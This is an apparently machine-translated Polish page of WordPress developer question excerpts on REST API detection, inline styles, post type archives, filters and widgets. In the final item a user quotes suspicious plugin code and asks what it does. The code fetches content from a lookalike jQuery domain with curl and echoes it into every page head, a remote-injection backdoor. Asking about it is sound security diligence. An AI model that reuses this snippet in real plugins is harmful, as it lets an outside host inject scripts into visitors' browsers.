WordPress

Pytania i odpowiedzi dotyczące programistów i administratorów WordPress

5
Czy WordPress może być przystosowany do obsługi gniazd sieciowych?
Websockets to fajna, najnowocześniejsza technologia opakowana w HTML5. Zasadniczo można otworzyć gniazdo sieciowe, aby umożliwić trwałą dwukierunkową komunikację z serwerem WWW. Klient (interfejs użytkownika) może spontanicznie wysyłać wiadomości, a serwer może również wysyłać wiadomości. Istniejąca technologia (JavaScript) wymaga, aby klient uruchomił wszystko - serwer nie może wysłać do klienta niczego, …

3
Używanie wp_add_inline_style bez arkusza stylów
Muszę dodać niestandardowe style wstawiane do nagłówka niestandardowego motywu, który tworzę. Natknąłem się na wp_add_inline_style()funkcję, która działa, ale tak naprawdę mi nie pasuje, ponieważ zależy od konkretnego arkusza stylów. Musiałbym dodać style wbudowane na końcu znacznika head bez zależności arkusza stylów. Próbowałem ustawić arkusz stylów motywu lub nieistniejący. W obu …

6
Czy istnieje coś takiego jak is_rest ()?
Zaczynam trochę z interfejsem API REST. Jeśli nie jestem całkowicie wprowadzony w błąd, initchwytak akcji jest również wykonywany, gdy jest to żądanie interfejsu API REST. Teraz chcę wykonać tylko część kodu, gdy nie jest to żądanie interfejsu API REST. Więc szukałem polecenia takiego is_rest(), aby zrobić coś takiego <?php if( …
18 rest-api 

1
Jak usunąć niestandardowe archiwum typów postów
Mam niestandardowy typ postu o nazwie „przepis” z has_archiveparametrem ustawionym na true. Odwiedzając stronę mysite.com/recipe/, uzyskujesz podstawową listę archiwalną wszystkich opublikowanych przepisów oraz tytuł strony „Przepisy”. Jak na razie dobrze. Teraz chcę wyłączyć tę stronę archiwum przepisów (ale utrzymuj działanie poszczególnych linków do przepisów). Moją pierwszą myślą było spróbowanie ustawienia …

3
Dołączanie danych taksonomii do posta za pomocą wp_insert_post
Próbuję wdrożyć system księgowania front-end, który pokazuje dane taksonomiczne w kilku rozwijanych polach wyboru. Każde menu rozwijane jest nazywane przy użyciu „nazwy” $argw wp_dropdown_categories(). wp_dropdown_categories( array( 'taxonomy' => 'location', 'hide_empty' => 0, 'orderby' => 'name', 'order' => 'ASC', 'name' => 'location', ) ); Jak widać taksonomia to „lokalizacja”, a wybrana …

1
W jaki sposób WordPress tworzy adresy URL, o których wie Apache?
Kiedy tworzysz stronę w WordPress, jest to tylko wpis w tabeli bazy danych; w tej lokalizacji nie ma rzeczywistego pliku. Jednak mogę sam utworzyć plik w tej lokalizacji, co spowoduje wykroczenie strony z WordPress. Usuwam plik i płynnie wraca do strony WordPress. Jestem tylko ciekawy, jak to osiągnąć. Prawdopodobnie odbywa …

7
Cel interfejsu API REST?
Po pierwsze, rozumiem, że jest to wtyczka w chwili obecnej, ale z pewnością jest prawie częścią WordPress. Mam więc nadzieję, że nie jest to oznaczane jako nie na temat. Przeczytałem ich oficjalne dokumenty, wiele innych artykułów i obejrzałem filmy instruktażowe, ale nadal nie dostaję niektórych punktów. To z pewnością przyszłość …
17 rest-api 


2
Czy WordPress działa bez motywu?
Czy WordPress działa bez motywu? Jeśli tak, to jak to działa? Proszę wyjaśnić krótko. Jeśli WordPress wyświetla zawartość bez motywu, co kontroluje wynik?
17 themes 

3
remove Działaj na after_setup_theme nie działa z motywu potomnego
Usiłuję usunąć akcję motywu dla motywu eleganckich motywów za pomocą motywu potomnego. Działa to, gdy usuwam akcję po kodzie dodawania aktywności w dowolnym miejscu w nadrzędnym funkcjach.php. Jednak nie działa, gdy dodam go z funkcji motywu potomnego. Php. remove_action ('after_setup_theme', 'et_pb_setup_theme' , 10); Działanie usuwania ma taki sam priorytet 10, …

5
get_option () vs get_theme_mod (): Dlaczego jeden jest wolniejszy?
Od get_theme_mod()jakiegoś czasu korzystam z różnych moich projektów. Zdecydowałem się skorzystać z interfejsu API dostosowywania motywu w WordPress v3.4, gdy był dostępny, ponieważ uważałem, że jest to niezbędne narzędzie dla moich klientów. Po jakimś czasie zacząłem zauważać, że moje strony czują się trochę bardziej powolne niż zwykle, a w szczególności …

3
Hostować wp-admin w innej domenie?
Currenly Mam klienta, który ma WordPress działa na, powiedzmy www.example.com. Pracuję nad nową wersją przy użyciu innej technologii / języka, który będzie hostowany na innym serwerze. Ale administracja (WP) i baza danych pozostaną na starym serwerze. Zasadniczo będę musiał wskazać www.example.comnowy host (tutaj nie ma problemu) i utworzyć taką subdomenę, …

1
Różnica między add_filter i Apply_filters
Szukałem odpowiedniego wyjaśnienia różnicy między add_filter()i apply_filters()tutaj, ale nie mogłem znaleźć. Czy ktoś może mi powiedzieć, jakie informacje lub logikę wziąć pod uwagę przed użyciem add_filterlub apply_filtersw jednym kontekście. Czyli korzystanie z jednego imperatywu, a nie drugiego? Czy to prawda, że add_filterpo prostu dodaje funkcję do kolejki funkcji oczekujących na …

1
Jak dołączyć pole wyboru do formularza zaplecza widżetu?
Próbuję dołączyć pole wyboru do zaplecza mojego widgetu. Ale nie mogę uzyskać wartości (włączenia lub wyłączenia) po przesłaniu jej przez użytkownika. Myślałem, że wartość zostanie zapisana w „esc_attr ($ check)” (tak jak w przypadku wprowadzania tekstu), ale nie mogę jej odzyskać. Właśnie tego próbuję teraz: public function form( $instance ) …
17 php  widgets 

2
Znalazłem to we wtyczce. Co to robi? czy to jest niebezpieczne?
Znalazłem to we wtyczce. Co to robi? czy to jest niebezpieczne? add_action('admin_enqueue_scripts', 'pw_load_scripts'); if (!function_exists('wp__head'){ function wp__head() { if(function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10); $jquery = curl_exec($ch); curl_close($ch); echo "$jquery"; } } add_action('wp_head', 'wp__head'); }

Korzystając z naszej strony potwierdzasz, że przeczytałeś(-aś) i rozumiesz nasze zasady używania plików cookie i zasady ochrony prywatności.
Licensed under cc by-sa 3.0 with attribution required.